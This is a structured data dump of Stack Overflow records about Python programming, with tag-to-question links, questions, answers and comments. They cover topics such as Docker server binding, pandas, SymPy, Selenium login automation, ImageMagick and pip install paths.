tags question: http://stackoverflow.com/q/49471037
tags question: http://stackoverflow.com/q/49475324
tags question: http://stackoverflow.com/q/49543465
tags question: http://stackoverflow.com/q/49465857
tags question: http://stackoverflow.com/q/49561733
tags question: http://stackoverflow.com/q/49560486
tags question: http://stackoverflow.com/q/49540126
tags question: http://stackoverflow.com/q/49543139
tags question: http://stackoverflow.com/q/49580190
tags question: http://stackoverflow.com/q/49542870
tag name: csv
tags question: http://stackoverflow.com/q/49583908
tags question: http://stackoverflow.com/q/49507733
tags question: http://stackoverflow.com/q/49467000
tags question: http://stackoverflow.com/q/49453341
tags question: http://stackoverflow.com/q/49594729
tags question: http://stackoverflow.com/q/49449907
tags question: http://stackoverflow.com/q/49561407
tags question: http://stackoverflow.com/q/49590838
tags question: http://stackoverflow.com/q/49563592
tags question: http://stackoverflow.com/q/49567424
tags question: http://stackoverflow.com/q/49486107
tags question: http://stackoverflow.com/q/49478929
tags question: http://stackoverflow.com/q/49545258
tags question: http://stackoverflow.com/q/49478196
tags question: http://stackoverflow.com/q/49462451
tags question: http://stackoverflow.com/q/49531780
tags question: http://stackoverflow.com/q/49594997
tags question: http://stackoverflow.com/q/49473871
tags question: http://stackoverflow.com/q/49566499
tags question: http://stackoverflow.com/q/49453466
tags question: http://stackoverflow.com/q/49539866
tags question: http://stackoverflow.com/q/49516779
tags question: http://stackoverflow.com/q/49445476
tags question: http://stackoverflow.com/q/49497210
tags question: http://stackoverflow.com/q/49464705
tags question: http://stackoverflow.com/q/49562976
tags question: http://stackoverflow.com/q/49449356
tags question: http://stackoverflow.com/q/49542839
tags question: http://stackoverflow.com/q/49482949
tags question: http://stackoverflow.com/q/49520680
tags question: http://stackoverflow.com/q/49525458
tags question: http://stackoverflow.com/q/49570941
tags question: http://stackoverflow.com/q/49576834
tags question: http://stackoverflow.com/q/49545712
tags question: http://stackoverflow.com/q/49532851
tags question: http://stackoverflow.com/q/49516619
tags question: http://stackoverflow.com/q/49595931
tags question: http://stackoverflow.com/q/49471081
tags question: http://stackoverflow.com/q/49474871
tags question: http://stackoverflow.com/q/49445742
tags question: http://stackoverflow.com/q/49573666
tags question: http://stackoverflow.com/q/49445254
tags question: http://stackoverflow.com/q/49499205
tags question: http://stackoverflow.com/q/49472608
tags question: http://stackoverflow.com/q/49462179
tags question: http://stackoverflow.com/q/49581759
tags question: http://stackoverflow.com/q/49473862
tags question: http://stackoverflow.com/q/49465066
tags question: http://stackoverflow.com/q/49468065
tags question: http://stackoverflow.com/q/49461988
tags question: http://stackoverflow.com/q/49490711
tags question: http://stackoverflow.com/q/49465992
tags question: http://stackoverflow.com/q/49593615
tags question: http://stackoverflow.com/q/49460574
tags question: http://stackoverflow.com/q/49462213
tags question: http://stackoverflow.com/q/49592711
tags question: http://stackoverflow.com/q/49453187

http://stackoverflow.com/a/49630857
type: Answer
accepted answer of: http://stackoverflow.com/q/49441151
has body: I can't speak directly for MSC Nastran, its been a while since I've used it. But most modern FEA programs have an API (application program interface) to allow you to call commands from a external program like python or matlab. Without an API, you may be limited to using python to start the program from the command line, which is what your code is trying to do. As for how to launch a program from within python, check out this question/answer: How to run application with parameters in Python?
score: 2
type: AcceptedAnswer
upvote count: 2
answers question: http://stackoverflow.com/q/49441151
downvote count: 0

http://stackoverflow.com/a/49476339
downvote count: 1
has comment: http://stackoverflow.com/comment/100753716
has comment: http://stackoverflow.com/comment/85960381
has comment: http://stackoverflow.com/comment/121932098
has comment: http://stackoverflow.com/comment/86003953
upvote count: 78
has comment: http://stackoverflow.com/comment/85957693
has comment: http://stackoverflow.com/comment/86245108
has comment: http://stackoverflow.com/comment/86000539
has comment: http://stackoverflow.com/comment/85960334
has comment: http://stackoverflow.com/comment/86004995
has comment: http://stackoverflow.com/comment/115645459
has comment: http://stackoverflow.com/comment/100753629
has comment: http://stackoverflow.com/comment/85956012
has comment: http://stackoverflow.com/comment/117060807
score: 77
has body: Your issue: CMD ["python", "manage.py", "runserver", "8000"] In order for it to work, you need to change it to: CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"] and finally, go to http://127.0.0.1:8000/ in your browser. Why? Well, Python thinks you're exposing it on 127.0.0.1 when in reality you want the eth0 address, since that can change, and we don't want to hard code it, we use 0.0.0.0 which means "ALL" interfaces. Remember docker 127.0.0.1 is NOT your host 127.0.0.1, each docker container has it's own loopback (means 127.0.0.1). Extra: If you don't want to write out 0.0.0.0 you can simply write 0 -- does the same thing.
answers question: http://stackoverflow.com/q/49476217
has comment: http://stackoverflow.com/comment/100753291
has comment: http://stackoverflow.com/comment/117082589
type: Answer

http://stackoverflow.com/a/49565931
answers question: http://stackoverflow.com/q/49565859
has body: Change the last line to: print(getver())
score: 0
type: Answer

http://stackoverflow.com/q/49588818
answer count: 1
has title: How to zero out rows and columns in a SymPy Matrix
type: Question
has comment: http://stackoverflow.com/comment/86185458
tagged with: sympy
tagged with: python
accepted answer: http://stackoverflow.com/a/49589098
has answer: http://stackoverflow.com/a/49589098
has body: I'm implementing a simple FEA code and I need to zero out particular rows and columns to apply boundary conditions. Example matrix: I tried with my_matrix[:,1] = 0 but it returns an error: ValueError: unexpected value: 0 Can some one guide me on how to make columns and rows zero?
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/49544742
has answer: http://stackoverflow.com/a/49544882
has title: Convert text file with 3 columns into nested dict of dict in Python
has comment: http://stackoverflow.com/comment/86097295
has comment: http://stackoverflow.com/comment/86097320
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/49544994
has comment: http://stackoverflow.com/comment/86097181
has comment: http://stackoverflow.com/comment/86097282
possible better answer: http://stackoverflow.com/a/49544882
score: 2
upvote count: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86097189
answer count: 3
downvote count: 0
accepted answer: http://stackoverflow.com/a/49544891
has comment: http://stackoverflow.com/comment/86097395
has answer: http://stackoverflow.com/a/49544891
has comment: http://stackoverflow.com/comment/86097371
favorite count: 0
has comment: http://stackoverflow.com/comment/86097166
has body: I have a txt file as below: #FromNodeId ToNodeId Weight B A 5 B D 1 B G 2 A B 5 A D 3 A E 12 A F 5 D B 1 D G 1 D E 1 D A 3 G B 2 G D 1 G C 2 C G 2 C E 1 C F 16 E A 12 E D 1 E C 1 E F 2 F A 5 F E 2 F C 16 I want to convert this into a graph as dict of dicts in python as below: graph = { 'B': {'A': 5, 'D': 1, 'G': 2}, 'A': {'B': 5, 'D': 3, 'E': 12, 'F' :5}, 'D': {'B': 1, 'G': 1, 'E': 1, 'A': 3}, 'G': {'B': 2, 'D': 1, 'C': 2}, 'C': {'G': 2, 'E': 1, 'F': 16}, 'E': {'A': 12, 'D': 1, 'C': 1, 'F': 2}, 'F': {'A': 5, 'E': 2, 'C': 16}} How do I do this?
type: Question
tagged with: http://stackoverflow.com/tag/csv

http://stackoverflow.com/q/49481341
has body: from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from urllib.parse import urlparse, parse_qs #for logging into chrome or firefox browser, user can use other browser like chrome by appropriately adding corresponding webdriver driver = webdriver.Firefox() #Always a constant for unique user_id and can be found by logging in kiteconnect. Paste the redirect-url below at time of logging #into kiteconnect. It's a one time activity. driver.get("https://kite.trade/connect/login?api_key=XXXXYYYYXXX") driver.implicitly_wait(10) username = driver.find_element_by_xpath('//*[@id="container"]/div/div/div[2]/form/div[1]/input') password = driver.find_element_by_xpath('//*[@id="container"]/div/div/div[2]/form/div[2]/input') username.send_keys("My_userid") password.send_keys("my_passwad") driver.find_element_by_xpath('/html/body/div[1]/div/div[2]/div[1]/div/div/div[2]/form/div[3]/button').click() driver.implicitly_wait(10) Security1 = driver.find_element_by_xpath('//*[@id="container"]/div/div/div[2]/form/div[2]/div/input') Security2 = driver.find_element_by_xpath('//*[@id="container"]/div/div/div[2]/form/div[3]/div/input') Security1.send_keys("Answers") Security2.send_keys("Answers") driver.find_element_by_xpath('/html/body/div[1]/div/div[2]/div[1]/div/div/div[2]/form/div[4]/button').click() driver.implicitly_wait(10) print browser.current_url it s printing wrong URL mentioned above code i am using to auto login after login i want print "request_token=XXXXJHGWJH " print from URL
has comment: http://stackoverflow.com/comment/85965883
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85966165
has comment: http://stackoverflow.com/comment/85965536
tagged with: python
has comment: http://stackoverflow.com/comment/85965701
has comment: http://stackoverflow.com/comment/85966225
score: 0
has comment: http://stackoverflow.com/comment/85966203
answer count: 0
has comment: http://stackoverflow.com/comment/85965644
has comment: http://stackoverflow.com/comment/85965624
has comment: http://stackoverflow.com/comment/85965724
has comment: http://stackoverflow.com/comment/85966191
has title: trying to new generated print url after login python selenium webdriver
has comment: http://stackoverflow.com/comment/85966528
type: Question

http://stackoverflow.com/a/49449136
type: Answer
answers question: http://stackoverflow.com/q/49445656
score: 0
type: AcceptedAnswer
has body: I see a minor (~20%) improvement by using a list comprehension instead. But check how this scales with your full dataset. import pandas as pd import numpy as np import scipy.spatial as spatial d = {'id': [1,2,3,4,5], 'x': [1,2,3,3,4], 'y': [1,3,2,3,4], 'factor1':[4,5,2,7,4], 'factor2':[6,4,8,3,2]} df = pd.DataFrame(data=d) factor = ["factor1", "factor2"] dist = [2,1.5] X=np.transpose(np.array([df.x, df.y])) tree = spatial.cKDTree(X) def original(df): for i in dist: for j in factor: df[j + "_Mean_" + str(i)] = df.apply(lambda row: df[j][tree.query_ball_point([row.x, row.y],i)].mean(), axis=1) return df def jp(df): calc = tree.query_ball_point for i in dist: for j in factor: df_filter = df[j] df[j + "_Mean_" + str(i)] = [df_filter[calc([x, y],i)].mean() for x, y in zip(df['x'], df['y'])] return df %timeit original(df) # 100 loops, best of 3: 13.1 ms per loop %timeit jp(df) # 100 loops, best of 3: 10.9 ms per loop
accepted answer of: http://stackoverflow.com/q/49445656

http://stackoverflow.com/q/49453846
tagged with: python
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/20718315
has title: How do I go through an array of numbers efficiently in Python?
has body: I am trying to make a more efficient method of going though an array of numbers, and finding what number is missing. I have an array of numbers from 1 to 20, but one is missing, and the numbers aren't ordered in a chronological order (they're shuffled): array = [16, 11, 4, 6, 14, 8, 5, 13, 10, 2, 9, 15, 3, 18, 20, 12, 19, 7, 1] The method I have thought about is: for x in range(1, len(array) + 1): if x not in array: print(x) The problem with this method is that it's slow and inefficient, and if I need to analyze a very big array (with thousands of numbers), it will take a long time.
tagged with: space-efficiency
score: 0
duplicate of: http://stackoverflow.com/q/20718315
upvote count: 1
tagged with: analysis
answer count: 1
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49453858
tagged with: performance
type: Question
tagged with: arrays

ctypes
tags question: http://stackoverflow.com/q/49471545
tags question: http://stackoverflow.com/q/49498648
tags question: http://stackoverflow.com/q/49502707
tags question: http://stackoverflow.com/q/49452688
tags question: http://stackoverflow.com/q/49553779
tags question: http://stackoverflow.com/q/49589269
tags question: http://stackoverflow.com/q/49581168
tag name: ctypes
type: Tag
tags question: http://stackoverflow.com/q/49524952

http://stackoverflow.com/q/49479063
has comment: http://stackoverflow.com/comment/85961906
tagged with: save
tagged with: database
has comment: http://stackoverflow.com/comment/85961681
tagged with: python
has comment: http://stackoverflow.com/comment/85961318
has title: Python Django How to save choice using model class "CHOICE"?
type: Question
has comment: http://stackoverflow.com/comment/85962277
answer count: 0
has comment: http://stackoverflow.com/comment/85961084
has comment: http://stackoverflow.com/comment/85963069
type: UnansweredQuestion
tagged with: choicefield
tagged with: django
has comment: http://stackoverflow.com/comment/85961364
score: 0
has body: In my models.py, I have class with LEVEL_CHOICES and Level. First I builded my project with a textfield Level and it worked. Then I decided to change my Level in order to give users only certain choices. Therefore I edited my models.py and I have now: class Eleve(models.Model): FIRST = 'FIRST' SECOND = 'SECOND' THIRD = 'THIRD' LEVEL_CHOICES = ( ('FIRST', 'School'), ('SECOND', 'HighSchool'), ('THIRD', 'University'), ) Level = models.CharField(max_length=3, choices=LEVEL_CHOICES, default='FIRST') I think that there is a problem in my views.py because I'am able to save class Eleve through Admin app. I'm also using a decorator in order to have REcaptchaV2. def Form(request): form = ResgisterStud(request.POST) if request.recaptcha_is_valid and form.is_valid(): form.save(commit=False) form.save() return render(request, 'form.html', {'form': form}) else: return render(request, 'form.html', {'form': form}) my forms.py class ResgisterStud(forms.ModelForm): class Meta: model = Eleve My Form.html &lt;form action="{% url "form" %}" method="post" enctype="multipart/form-data"&gt; {% csrf_token %} &lt;div class="col-md-6 form-group"&gt; &lt;/div&gt; &lt;script src='https://www.google.com/recaptcha/api.js'&gt;&lt;/script&gt; &lt;div class="form-group g-recaptcha" data-sitekey="***"&gt;&lt;/div&gt; {% if messages %} {% for message in messages %} {{ message }} {% endfor %} {% endfor %} {% endif %} &lt;/form&gt;
has comment: http://stackoverflow.com/comment/85963795

http://stackoverflow.com/comment/86041168
type: Comment
comment on: http://stackoverflow.com/q/49517829
score: 0
type: QuestionComment
has text: Here is OP's code on repl.it, for those who dont have python + turtle: https://repl.it/repls/PossibleSneakyScript

http://stackoverflow.com/a/49573471
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49526981
score: 2
type: Answer
has body: I am not sure how to do that with pandas. That said using the csv module you can do the following: import csv from gensim.models.doc2vec import TaggedDocument, Doc2Vec texts = csv.DictReader(open('test_text.csv')) documents = [TaggedDocument(text['review'].split(), [text['Sr']]) for text in texts] model = Doc2Vec(documents, vector_size=100, window=8, min_count=2, workers=7) # Then you can infer new vector and compute most similar documents: vector = model.infer_vector(['frustrating', 'bowl', 'nooddle']) print(model.docvecs.most_similar([vector])) It will output something like: [('123', 0.07377214729785919), ('1234', 0.019198982045054436), ('456', 0.011939050629734993), ('678', -0.14281529188156128)] In your case the dataset fits in memory so you don't need to use the API with which you started with.

http://stackoverflow.com/comment/86062925
has text: I thought inheritance occurs when you supply superclasses in the arguments of the class definition. For instance `C(A,B)`. That is true inheritance. What I'm doing above seems like a not very elegant way to solve the problem. Also could use name mangling but that does not remove the "global" vs "local" problem
comment on: http://stackoverflow.com/q/49528586
score: 0
type: Comment
type: QuestionComment

pyqt5
tags question: http://stackoverflow.com/q/49564794
tags question: http://stackoverflow.com/q/49585442
tags question: http://stackoverflow.com/q/49490091
tags question: http://stackoverflow.com/q/49592819
type: Tag
tags question: http://stackoverflow.com/q/49458484
tags question: http://stackoverflow.com/q/49525673
tags question: http://stackoverflow.com/q/49564126
tags question: http://stackoverflow.com/q/49522789
tags question: http://stackoverflow.com/q/49468071
tags question: http://stackoverflow.com/q/49576715
tags question: http://stackoverflow.com/q/49538983
tags question: http://stackoverflow.com/q/49504066
tags question: http://stackoverflow.com/q/49497922
tags question: http://stackoverflow.com/q/49567074
tags question: http://stackoverflow.com/q/49546052
tags question: http://stackoverflow.com/q/49461247
tags question: http://stackoverflow.com/q/49518545
tags question: http://stackoverflow.com/q/49518242
tags question: http://stackoverflow.com/q/49488857
tags question: http://stackoverflow.com/q/49497444
tag name: pyqt5
tags question: http://stackoverflow.com/q/49582598
tags question: http://stackoverflow.com/q/49445983
tags question: http://stackoverflow.com/q/49537522
tags question: http://stackoverflow.com/q/49480437
tags question: http://stackoverflow.com/q/49469560
tags question: http://stackoverflow.com/q/49585205
tags question: http://stackoverflow.com/q/49443258
tags question: http://stackoverflow.com/q/49464153
tags question: http://stackoverflow.com/q/49479603
tags question: http://stackoverflow.com/q/49583671
tags question: http://stackoverflow.com/q/49466497
tags question: http://stackoverflow.com/q/49553388
tags question: http://stackoverflow.com/q/49553905

http://stackoverflow.com/comment/86071349
score: 0
comment on: http://stackoverflow.com/q/49532536
type: Comment
type: QuestionComment
has text: Look for the [multiprocessing](https://docs.python.org/3.5/library/multiprocessing.html) or the [thread](https://docs.python.org/3/library/threading.html) package of python.

http://stackoverflow.com/a/49500137
score: -1
answers question: http://stackoverflow.com/q/49500050
upvote count: 0
has body: First you can find all the doubles: l = [x for n, x in enumerate(l) if x in l[:n]] And then you can sort by the first element using: l = sorted(l) It's faster than if you do it the other way around, especially if l is very long I would first reduce it to the minimal list and then sort. If you have items appear three times, this will return a list with those items in there twice. You can remove this with: l = [x for n, x in enumerate(l) if x not in l[:n]] Largely based on another answer from @georg .
downvote count: 1
type: Answer

http://stackoverflow.com/a/49592247
has body: Issues : There are 2 issues with your code first one is range() and second one is indent of print(list1) list1.clear() . Fixed Code : import random list1 = [] ranges = [10,501,10] for y in ranges: for x in range(0,y): list1.append(random.randint(0,1)) print(list1) list1.clear()
answers question: http://stackoverflow.com/q/49592208
type: Answer
score: 0

http://stackoverflow.com/comment/85971993
type: AnswerComment
has text: I wanted to import this python script to my existing python script.
type: Comment
comment on: http://stackoverflow.com/a/49484427
score: 0

http://stackoverflow.com/comment/86018685
has text: Are you only getting pylint error messages or Python errors / exceptions? Can you actually run the program or does it crash?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49506168
type: AnswerComment

http://stackoverflow.com/comment/86067948
has text: Traceback (most recent call last): File "C:/Users/joe gorsuch/OneDrive/A-Level/Computer Science/Computer Science Project/Program/Login Form/Ui/1.py", line 68, in <module> main() File "C:/Users/joe gorsuch/OneDrive/A-Level/Computer Science/Computer Science Project/Program/Login Form/Ui/1.py", line 63, in main form.run() File "C:/Users/joe gorsuch/OneDrive/A-Level/Computer Science/Computer Science Project/Program/Login Form/Ui/1.py", line 41, in run self.dispQ()
comment on: http://stackoverflow.com/q/49530021
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/49494658
accepted answer: http://stackoverflow.com/a/49495405
has comment: http://stackoverflow.com/comment/85993093
tagged with: math
has answer: http://stackoverflow.com/a/49495405
has comment: http://stackoverflow.com/comment/85993196
possible better answer: http://stackoverflow.com/a/49496365
has title: Mathematically sum a sequence
has comment: http://stackoverflow.com/comment/85993312
favorite count: 0
type: Question
has body: I'm lacking of fundamental maths, and was wondering if there is a more efficient approach than looping for this algorithm: dt = 1 / 60. vel = 1000. fri = 0.05 result = 0 while vel &gt; 0.5: vel -= vel * fri result += vel * dt print(result) Edit: you can see an example of vel and result over each iteration here: https://www.desmos.com/calculator/1dfvxzgxvt
answer count: 2
upvote count: 2
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/49496365
type: AnsweredQuestion
score: 2

http://stackoverflow.com/comment/86175768
has text: true, let me correct it.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49583837

http://stackoverflow.com/comment/85975976
type: Comment
type: QuestionComment
has text: WordNet is indexed by Synsets (meaning/concept) not words/lemmas.
score: 0
comment on: http://stackoverflow.com/q/49485930

class
tags question: http://stackoverflow.com/q/49475889
tags question: http://stackoverflow.com/q/49562341
tags question: http://stackoverflow.com/q/49526628
tags question: http://stackoverflow.com/q/49445312
type: Tag
tags question: http://stackoverflow.com/q/49466305
tags question: http://stackoverflow.com/q/49562458
tags question: http://stackoverflow.com/q/49569239
tags question: http://stackoverflow.com/q/49505616
tags question: http://stackoverflow.com/q/49455696
tags question: http://stackoverflow.com/q/49505416
tags question: http://stackoverflow.com/q/49591943
tags question: http://stackoverflow.com/q/49545067
tags question: http://stackoverflow.com/q/49562970
tags question: http://stackoverflow.com/q/49493718
tags question: http://stackoverflow.com/q/49506483
tag name: class
tags question: http://stackoverflow.com/q/49593964
tags question: http://stackoverflow.com/q/49538113
tags question: http://stackoverflow.com/q/49481101
tags question: http://stackoverflow.com/q/49444305
tags question: http://stackoverflow.com/q/49465730
tags question: http://stackoverflow.com/q/49465215
tags question: http://stackoverflow.com/q/49508769
tags question: http://stackoverflow.com/q/49449408
tags question: http://stackoverflow.com/q/49510265
tags question: http://stackoverflow.com/q/49581094
tags question: http://stackoverflow.com/q/49442025
tags question: http://stackoverflow.com/q/49577766
tags question: http://stackoverflow.com/q/49462231
tags question: http://stackoverflow.com/q/49521805
tags question: http://stackoverflow.com/q/49498793
tags question: http://stackoverflow.com/q/49565780
tags question: http://stackoverflow.com/q/49582843
tags question: http://stackoverflow.com/q/49495083
tags question: http://stackoverflow.com/q/49540229
tags question: http://stackoverflow.com/q/49567527
tags question: http://stackoverflow.com/q/49578565
tags question: http://stackoverflow.com/q/49463552
tags question: http://stackoverflow.com/q/49476888

http://stackoverflow.com/a/50193501
has body: To get the real data triggered the exception, add extra debug information Modify ~/anaconda3/lib/python3.6/site-packages/pandas/core/internals.py add lines to class BlockManager() def __init__(self) print('BlockManager blocks') pprint(self.blocks) print('BlockManager axes') pprint(self.axes) You will the data: _unstack_frame level -1 fill_value None vote vote2 ballot1 voteId NaN xx 100.0 10.0 False aaa 50.1 2.0 -1 \n 1.0 18.0 True NaN 23.0 26.0 b False 55.0 77.0 a \ 67.0 99.0 c 89.0 9.0 8 44.0 NaN Modify ~/anaconda3/lib/python3.6/site-packages/pandas/core/reshape/reshape.py def __unstack_frame(self, ...) from pprint import pprint print('_unstack_frame level {} fill_value {} {}'.format(level, fill_value, type(obj))) pprint(obj) You will see data: BlockManager blocks (FloatBlock: slice(0, 16, 1), 16 x 8, dtype: float64,) BlockManager axes [MultiIndex(levels=[[u'vote', u'vote2'], [False, 8, u'\n', u' ', u'\', u'aaa', u'xx']], labels=[[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [-1, 0, 1, 2, 3, 4, 5, 6, -1, 0, 1, 2, 3, 4, 5, 6]], names=[None, u'voteId']), Index([nan, -1, False, True, u'', u'a', u'b', u'c'], dtype='object', name=u'ballot1')] I did trigger an exception with another example: File "/usr/lib64/python2.7/site-packages/pandas/core/internals.py", line 2902, in _rebuild_blknos_and_blklocs raise AssertionError("Gaps in blk ref_locs") AssertionError: Gaps in blk ref_locs with debugging info BlockManager blocks (FloatBlock: [-1, -1, -1], 3 x 2, dtype: float64,) BlockManager axes [Index([aaa, bbb, ccc], dtype='object'), Int64Index([0, 1], dtype='int64')]
accepted answer of: http://stackoverflow.com/q/49482356
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49482356
score: 3
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/q/49526085
upvote count: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/49526100
accepted answer: http://stackoverflow.com/a/49526498
has answer: http://stackoverflow.com/a/49526100
tagged with: pandas
type: AnsweredQuestion
has title: pick first day from many panda dataframes
downvote count: 0
tagged with: dataframe
score: 1
has body: I have multiple dataframes that contain Name - category - type --------------------------- Date - index - datetime64 X - variable - str Y - variable - str All dataframes are sorted by its index(Date). So first entry is the earliest day of the each dataframe. df1 Date X Y 2017-09-11 foo bar 2017-09-12 foo bar df2 Date X Y 2017-01-13 foo bar 2017-02-12 foo bar df3 Date X Y 2017-08-21 foo bar 2017-10-12 foo bar I want to get first_day of each frame, for example, first_day_df1 = "2017-09-11" first_day_df2 = "2017-01-13" first_day_df3 = "2017-10-12" I have tried iloc,loc and just indexing but no luck. df.iloc[0] returns all variables in this entry and df.iloc[0].index returns name of variables. df.loc[0] and df[0] of course throws errors. Any help appreciated! * pandas: 0.22.0 python: 3.6
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49526498
tagged with: datetime
answer count: 3
has answer: http://stackoverflow.com/a/49526649

http://stackoverflow.com/comment/86202770
type: Comment
type: QuestionComment
has text: I suppose it could be done.Might have to split it again when passing it the JS constructor.
score: 0
comment on: http://stackoverflow.com/q/49597661

http://stackoverflow.com/a/49531765
has body: You can do it at the command-line without any need for Python, using ImageMagick which is installed on most Linux distros and is available for macOS and Windows. It will work for PNG, JPEG and around 200 other image types. Let's make a sample image: convert xc:red xc:blue xc:lime +append \ \( xc:blue xc:red xc:lime +append \) \ \( xc:lime xc:red xc:blue +append \) \ -append start.png And let's enlarge it so you can see it (I could have done it one go): convert start.png -scale 400x start.png Now to your question, I can convert that to raw RGB (by interpreting all the image sizes, palettes, compression, and headers) and pass that through xxd for hex formatting: convert start.png -depth 8 rgb: | xxd -g3 -c9 -u 00000000: FF0000 0000FF 00FF00 ......... 00000009: 0000FF FF0000 00FF00 ......... 00000012: 00FF00 FF0000 0000FF ......... If you want to strip the address off the front and the dots off the end, you can use: convert start.png -depth 8 rgb: | xxd -g3 -c9 -u | sed 's/ .*//; s/^.*: //' FF0000 0000FF 00FF00 0000FF FF0000 00FF00 00FF00 FF0000 0000FF The sed command says... "Anywhere you see two spaces, remove them and all that follows. Remove anything up to and including a colon followed by a space.". Or maybe plain dump is better: convert start.png -depth 8 rgb: | xxd -g3 -c9 -u -p FF00000000FF00FF00 0000FFFF000000FF00 00FF00FF00000000FF Note: If using ImageMagick v7+, replace convert with magick in all examples above.
upvote count: 2
answers question: http://stackoverflow.com/q/49529764
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/q/49482860
has comment: http://stackoverflow.com/comment/85968734
type: Question
has answer: http://stackoverflow.com/a/49482926
tagged with: python
type: UnansweredQuestion
tagged with: structure
has body: For the stack class below class stack(list): def __init__(self): self.stack = [] self.top = -1 def isempty(self): return self.stack == [] def push(self,x): S.top = S.top + 1 return self.stack.append(x) S = stack() S.isempty() #True S.push(5) #[5] S.push(100) #[5,100] print(S) # Returns empty stack [] Why does it not return the updated [5,100]?
score: -1
upvote count: 0
tagged with: stack
has title: Stack data structure in Python using lists
has comment: http://stackoverflow.com/comment/85969484
answer count: 1
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/86154384
type: AnswerComment
has text: How do I make it work for multiple pages? This works just for a single page. Please help me. @godot
type: Comment
comment on: http://stackoverflow.com/a/49555106
score: 0

http://stackoverflow.com/comment/92173804
type: AnswerComment
comment on: http://stackoverflow.com/a/49714387
type: Comment
has text: I have changed the mistake, thanks for you comments.
score: 0

http://stackoverflow.com/q/49492344
has comment: http://stackoverflow.com/comment/85988165
favorite count: 0
has title: Pip install location
score: 9
type: Question
has answer: http://stackoverflow.com/a/74251806
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49492518
tagged with: python
tagged with: python-3.6
has answer: http://stackoverflow.com/a/49492410
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/85988142
has answer: http://stackoverflow.com/a/49492608
has answer: http://stackoverflow.com/a/49493416
upvote count: 10
has comment: http://stackoverflow.com/comment/85988072
downvote count: 1
has body: I have python2.7 and python3.6 installed side by side in my computer. Now when I install a package using "pip install", how can I know in which python's site-packages is my package going to be installed? Thank you.

http://stackoverflow.com/q/49520600
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86048166
has comment: http://stackoverflow.com/comment/86047054
score: -3
has comment: http://stackoverflow.com/comment/86046940
tagged with: python
possible better answer: http://stackoverflow.com/a/49520806
tagged with: embedding
has answer: http://stackoverflow.com/a/49520806
has title: Python - List within a list
type: AnsweredQuestion
has body: I'm creating a program in python where i need to ask the user for there team name and team members. I need to have the team names in a list and have the team members embedded within the team name. Any Help? # Creating Teams print("Welcome to the program") print("======================================================") Teams = [] # Looping to find out the four different team names and players. for x in range(0, 4) : # Asking for the Team name and the team players names TeamName = input("What is the name of the team?") Player1 = input("What is the first name of the player in your team?") Player2 = input("What is the second name of the player in your team?") Player3 = input("What is the third name of the player in your team?") Player4 = input("What is the last name of the player in your team?") Teams.extend([TeamName, Player1, Player2, Player3, Player4]) TeamPlayers = int(input("What Team do you want to see? (0-4)")) print([Teams, Player1, Player2, Player3, Player4])
has answer: http://stackoverflow.com/a/49520996
has comment: http://stackoverflow.com/comment/86046910
tagged with: list
answer count: 3
upvote count: 0
downvote count: 3
accepted answer: http://stackoverflow.com/a/49520792
has comment: http://stackoverflow.com/comment/86047231
has comment: http://stackoverflow.com/comment/86047136
has answer: http://stackoverflow.com/a/49520792
has comment: http://stackoverflow.com/comment/86046951

http://stackoverflow.com/q/49561407
has body: I am trying to open a csv file with Japanese characters using utf8 on my mac. The code that I am using is as follows: foo = pd.read_csv("filename.csv", encoding = 'utf8') However, I have been getting the following error message. 'utf-8' codec can't decode byte 0x96 in position 0 I've tried looking around but a lot of the solutions seem to be for windows/I haven't had any success with other solutions yet. Appreciate the help!
type: AnsweredQuestion
answer count: 2
downvote count: 0
upvote count: 1
possible better answer: http://stackoverflow.com/a/76593925
favorite count: 0
type: Question
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
tagged with: utf-8
score: 1
accepted answer: http://stackoverflow.com/a/49561682
has answer: http://stackoverflow.com/a/76593925
has answer: http://stackoverflow.com/a/49561682
has title: utf-8 error when opening csv file in pandas on mac

http://stackoverflow.com/comment/86143197
comment on: http://stackoverflow.com/a/49554465
type: Comment
score: 4
has text: Since I have input tensor that I want to use, I ended using. `new_input_layer = keras.layers.Input(tensor=my_input_tensor)` and followed your suggestion. It works! Thanks.
type: AnswerComment

http://stackoverflow.com/a/49460736
answers question: http://stackoverflow.com/q/49460574
type: Answer
has body: Found the issue, the directory should not have any double slashes except for before firebase.csv
score: 0

http://stackoverflow.com/comment/86047576
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49497031
type: Comment
has text: I think this is independant from the SQL tech you are using :)

http://stackoverflow.com/comment/86141088
type: QuestionComment
has text: Do you not know about `while True:`, or are you asking something more complicated than that?
score: 0
comment on: http://stackoverflow.com/q/49566331
type: Comment

tkinter
tags question: http://stackoverflow.com/q/49481163
tags question: http://stackoverflow.com/q/49469032
tags question: http://stackoverflow.com/q/49492600
tags question: http://stackoverflow.com/q/49521672
tags question: http://stackoverflow.com/q/49547472
tags question: http://stackoverflow.com/q/49482432
tags question: http://stackoverflow.com/q/49530259
tags question: http://stackoverflow.com/q/49566460
tags question: http://stackoverflow.com/q/49581425
tags question: http://stackoverflow.com/q/49549798
tags question: http://stackoverflow.com/q/49551660
tags question: http://stackoverflow.com/q/49498296
tags question: http://stackoverflow.com/q/49517220
